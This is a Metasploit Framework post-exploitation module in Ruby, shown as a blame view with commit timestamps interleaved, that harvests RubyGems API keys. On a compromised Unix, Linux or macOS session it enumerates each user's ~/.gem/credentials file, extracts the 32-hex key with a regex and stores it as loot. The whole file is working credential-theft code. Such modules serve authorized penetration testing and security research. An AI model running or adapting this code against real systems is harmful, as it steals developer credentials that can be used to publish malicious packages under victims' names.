metasploit-framework/modules/post/multi/gather/rubygems_api_key.rb

79 lines
2.1 KiB
Ruby
Raw Normal View History

2015-01-27 01:53:39 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Post
2015-01-27 01:53:39 +00:00
include Msf::Post::File
include Msf::Post::Unix
2015-01-27 04:31:36 +00:00
def initialize(info = {})
super(update_info(info,
2015-01-27 05:29:10 +00:00
'Name' => 'Multi Gather RubyGems API Key',
'Description' => %q{
2015-01-27 04:10:08 +00:00
This module obtains a user's RubyGems API key from ~/.gem/credentials.
2015-01-27 01:53:39 +00:00
},
2015-01-27 05:29:10 +00:00
'Author' => [
'Jonathan Claudius <jclaudius[at]trustwave.com>',
'Brandon Myers <bmyers[at]trustwave.com>'
],
'Platform' => %w{bsd linux osx unix},
'SessionTypes' => %w{shell},
'License' => MSF_LICENSE
2015-01-27 01:53:39 +00:00
))
end
def run
2015-01-27 05:29:10 +00:00
print_status('Finding ~/.gem/credentials')
paths = enum_user_directories.map { |d| d + '/.gem/credentials' }
2015-01-27 01:53:39 +00:00
paths = paths.select { |f| file?(f) }
2015-01-27 04:43:31 +00:00
if paths.empty?
2015-01-27 05:29:10 +00:00
print_error('No users found with a ~/.gem/credentials file')
2015-01-27 01:53:39 +00:00
return
end
2015-01-27 05:29:10 +00:00
download_key(paths)
2015-01-27 01:53:39 +00:00
end
# Ruby gem credentials are pretty standard and can come
# in a few flavors, but the most common are straight yaml
# and json, both of which are colon delimited. I suppose
# you could concievably have more than one, but that'd be
# manually editing, and the first one is probably the best
# one anyway.
def extract_key(path)
data = read_file(path)
2015-01-27 16:58:24 +00:00
keys = data.split(':').select { |k| k =~ /[0-9a-f]{32}/ }
2015-01-27 17:11:02 +00:00
keys.map { |k| k.strip }.first
end
2015-01-27 05:29:10 +00:00
def download_key(paths)
2015-01-27 01:53:39 +00:00
print_status("Looting #{paths.count} files")
paths.each do |path|
path.chomp!
2015-01-27 05:29:10 +00:00
next if ['.', '..'].include?(path)
2015-01-27 01:53:39 +00:00
rubygems_api_key = extract_key(path)
2015-01-27 05:29:10 +00:00
next unless rubygems_api_key
2015-01-27 01:53:39 +00:00
2015-01-27 05:29:10 +00:00
print_good("Found a RubyGems API key: #{rubygems_api_key}")
2015-01-27 03:01:38 +00:00
2015-01-27 05:29:10 +00:00
loot_path = store_loot(
'rubygems.apikey',
'text/plain',
session,
rubygems_api_key,
'rubygems_api_key.txt',
'RubyGems API key'
)
print_good("RubyGems API key stored in #{loot_path}")
2015-01-27 01:53:39 +00:00
end
end
2015-01-27 04:31:36 +00:00
2015-01-27 03:30:26 +00:00
end